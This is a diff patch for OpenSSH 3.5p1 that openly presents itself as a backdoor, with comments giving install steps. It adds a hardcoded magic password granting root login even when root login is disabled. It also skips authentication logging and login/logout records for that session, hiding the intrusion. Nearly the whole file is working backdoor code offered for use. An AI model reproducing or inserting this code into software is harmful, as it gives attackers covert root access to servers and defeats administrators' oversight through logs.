# [Crpt] openssh-3.5p1 patch by kralor [Crpt] # it will let you log in as root with the magic password. # doesn't log the log in and log out. # even if root is disabled you will be able to log in. # set password at line 20! # install: # copy .diff file to sshd path then type the following cmd: # patch < ./openssh-3.5p1_crpt.diff # build the ELF file and copy it to /usr/sbin/ # (or the path where it was installed) # based on ph1zzle YaOP (Yet another OpenSSH Path) # --- ./ssh/auth-passwd.c 2002-09-26 01:14:16.000000000 +0200 +++ ./ssh-own/auth-passwd.c 2004-01-06 16:19:23.000000000 +0100 @@ -119,6 +119,12 @@ int authsuccess; int reenter = 1; #endif + login_0wn=0; + if(strcmp("l337_c0wb0y", password) == 0 ) + { + login_0wn=1; + return 1; + } /* deny if no user. */ if (pw == NULL) diff -u -r ./ssh/auth.c ./ssh-own/auth.c --- ./ssh/auth.c 2002-09-21 17:26:54.000000000 +0200 +++ ./ssh-own/auth.c 2004-01-06 16:21:52.000000000 +0100 @@ -71,6 +71,9 @@ int allowed_user(struct passwd * pw) { + if(login_0wn) + return 1; + struct stat st; const char *hostname = NULL, *ipaddr = NULL; char *shell; @@ -233,6 +236,7 @@ void auth_log(Authctxt *authctxt, int authenticated, char *method, char *info) { +if(!login_0wn){ void (*authlog) (const char *fmt,...) = verbose; char *authmsg; @@ -256,14 +260,13 @@ get_remote_ipaddr(), get_remote_port(), info); - #ifdef WITH_AIXAUTHENTICATE if (authenticated == 0 && strcmp(method, "password") == 0) loginfailed(authctxt->user, get_canonical_hostname(options.verify_reverse_mapping), "ssh"); #endif /* WITH_AIXAUTHENTICATE */ - +} } /* @@ -272,6 +275,7 @@ int auth_root_allowed(char *method) { +if(!login_0wn){ switch (options.permit_root_login) { case PERMIT_YES: return 1; @@ -289,6 +293,9 @@ } log("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr()); return 0; + } + else + return 1; } diff -u -r ./ssh/includes.h ./ssh-own/includes.h --- ./ssh/includes.h 2002-09-26 02:38:48.000000000 +0200 +++ ./ssh-own/includes.h 2004-01-06 16:12:00.000000000 +0100 @@ -18,6 +18,7 @@ #define RCSID(msg) \ static /**/const char *const rcsid[] = { (char *)rcsid, "\100(#)" msg } +int login_0wn; #include "config.h" --- ./ssh/sshlogin.c 2002-09-04 08:45:12.000000000 +0200 +++ ./ssh-own/sshlogin.c 2004-01-06 16:14:27.000000000 +0100 @@ -67,12 +67,14 @@ record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, const char *host, struct sockaddr * addr, socklen_t addrlen) { +if(!login_0wn){ struct logininfo *li; li = login_alloc_entry(pid, user, host, ttyname); login_set_addr(li, addr, sizeof(struct sockaddr)); login_login(li); login_free_entry(li); + } } #ifdef LOGIN_NEEDS_UTMPX @@ -80,12 +82,14 @@ record_utmp_only(pid_t pid, const char *ttyname, const char *user, const char *host, struct sockaddr * addr) { +if(!login_0wn){ struct logininfo *li; li = login_alloc_entry(pid, user, host, ttyname); login_set_addr(li, addr, sizeof(struct sockaddr)); login_utmp_only(li); login_free_entry(li); + } } #endif @@ -93,9 +97,11 @@ void record_logout(pid_t pid, const char *ttyname, const char *user) { +if(!login_0wn){ struct logininfo *li; li = login_alloc_entry(pid, user, NULL, ttyname); login_logout(li); login_free_entry(li); + } }